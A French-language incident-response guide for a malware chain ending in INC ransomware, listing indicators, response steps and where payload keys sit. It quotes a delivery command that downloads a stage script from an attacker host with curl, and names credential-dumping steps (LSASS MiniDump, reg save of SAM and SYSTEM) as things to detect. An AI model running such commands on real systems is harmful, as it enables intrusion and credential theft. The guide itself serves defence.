Guide de détection et de réponse : chaîne Ghost, Phantom, RevSocks et INC

Ce guide s'adresse à quelqu'un qui doit vérifier ou nettoyer un environnement, pas à des analystes. Il s'appuie sur inc-ghost-phantom-killchain.md ; je n'ai exécuté aucun échantillon, tout ce qui suit vient de la lecture du code et des captures publiques.

1. Suis-je concerné ?#

Cherchez, dans l'ordre de la chaîne :

  1. Livraison. Un document Word dont l'ouverture crée un processus par WMI et exécute curl.exe -sk -o %TEMP%\u.cmd http://<adresse>:8000/scripts/stage1.cmd. Fichier %TEMP%\u.cmd.
  2. Implants. Mutex Global\WinSvcUpdate_7B3F, Global\31ae8e4090b03c3e, Global\d7fe5d6dcf01bf1b. Fichiers %TEMP%\msedge_update.exe, ProgramData\Microsoft\Windows\WER\ReportQueue\marker.tmp. Processus pythonw.exe exécutant svc.py.
  3. Réseau. Connexions vers 89.185.83[.]8, 77.110.109[.]248, 138.124.123[.]56:8443, 45.227.254[.]45:8000, résolutions de api.system-strategy[.]org et cdn.system-strategy[.]org, requêtes HTTPS dont l'en-tête Host ne correspond pas à l'adresse contactée, requêtes vers api.telegram.org depuis un processus qui n'est pas un client Telegram.
  4. Post-exploitation. Chargement de zam64.sys, périphérique \\.\ZemanaAntiMalware, rundll32 comsvcs.dll, MiniDump vers C:\Windows\Temp\d.dmp, reg save de SAM, SECURITY et SYSTEM vers C:\Windows\Temp, exécutables restic ou clients S3 sortants vers un stockage objet inhabituel.
  5. Impact. INC-README.txt, extension .INC, INC.log, arrêt de services de sauvegarde.

Un seul de ces indicateurs ne prouve rien, plusieurs ensemble désignent cette chaîne.

2. Que faire en cas de détection#

  1. Isoler les machines concernées. Les implants sont interactifs et l'opérateur peut réagir.
  2. Conserver les images mémoire : les payloads (Meterpreter, shellcode du cradle) n'existent pas sur disque.
  3. Considérer comme compromis tous les identifiants vus par les machines touchées, en priorité ceux qu'un vidage de LSASS aurait contenus, et les comptes de service. Les rotations doivent couvrir la fenêtre d'accès probable.
  4. Vérifier les sauvegardes avant toute restauration : les outils recherchent et ciblent les services de sauvegarde.
  5. Rechercher le vecteur initial. L'article associé à cette chaîne cite l'exploitation de services exposés (FortiClient EMS, SimpleHelp, cPanel) en plus de l'hameçonnage par modèle Word. Croiser avec votre exposition.
  6. Si un binaire Ghost à canal Telegram est récupéré, extraire l'identifiant du bot et le signaler à Telegram avec l'échantillon. Ne pas utiliser le jeton.

3. Récupération de charges sans exécuter#

Les secrets accompagnent toujours ce qu'ils protègent :

Étage Où trouver la clé
Chargeur Meterpreter .data du chargeur, 32 octets de clé et 16 octets d'IV
Cradle PowerShell 32 premiers octets de la réponse serveur (clé), 16 suivants (IV)
Chargeur RevSocks v2 Constante XOR de 32 octets deadbeefcafebabe...
Injecteur RevSocks 32 octets en .data du chargeur
Implants Ghost Chaîne base64 de 32 octets dans .rdata, clé de chiffrement et de HMAC

Si une capture réseau ou une copie de la réponse /api/v2/update existe, le shellcode se déchiffre sans passer par le malware. Si un exemplaire de agent.enc existe, il suffit d'un XOR avec la clé du chargeur correspondant.

4. Indicateurs#

Voir iocs.csv et le §15 du rapport. Règles YARA : ghost_phantom_toolchain.yar.

Règle de chasse supplémentaire, indépendante du hash : tout exécutable signé par un certificat auto-signé dont le sujet est CN=Microsoft Corporation, O=Microsoft Corporation sans pays ni localité n'est pas signé par Microsoft.

5. Ce que cette analyse n'apporte pas#

Elle ne dit rien de ce que l'opérateur fait après connexion, ni de l'état actuel de son infrastructure. Les encrypteurs INC chiffrent avec un échange X25519 : chaque exécution tire une clé éphémère et la combine à une clé publique de l'opérateur propre à la victime (confirmé dans le build ELF x86_64). Sans la clé privée correspondante, un déchiffrement sans l'opérateur n'est pas démontré. Les clés publiques identifient la victime, ce qui les rend utiles à un service d'enquête.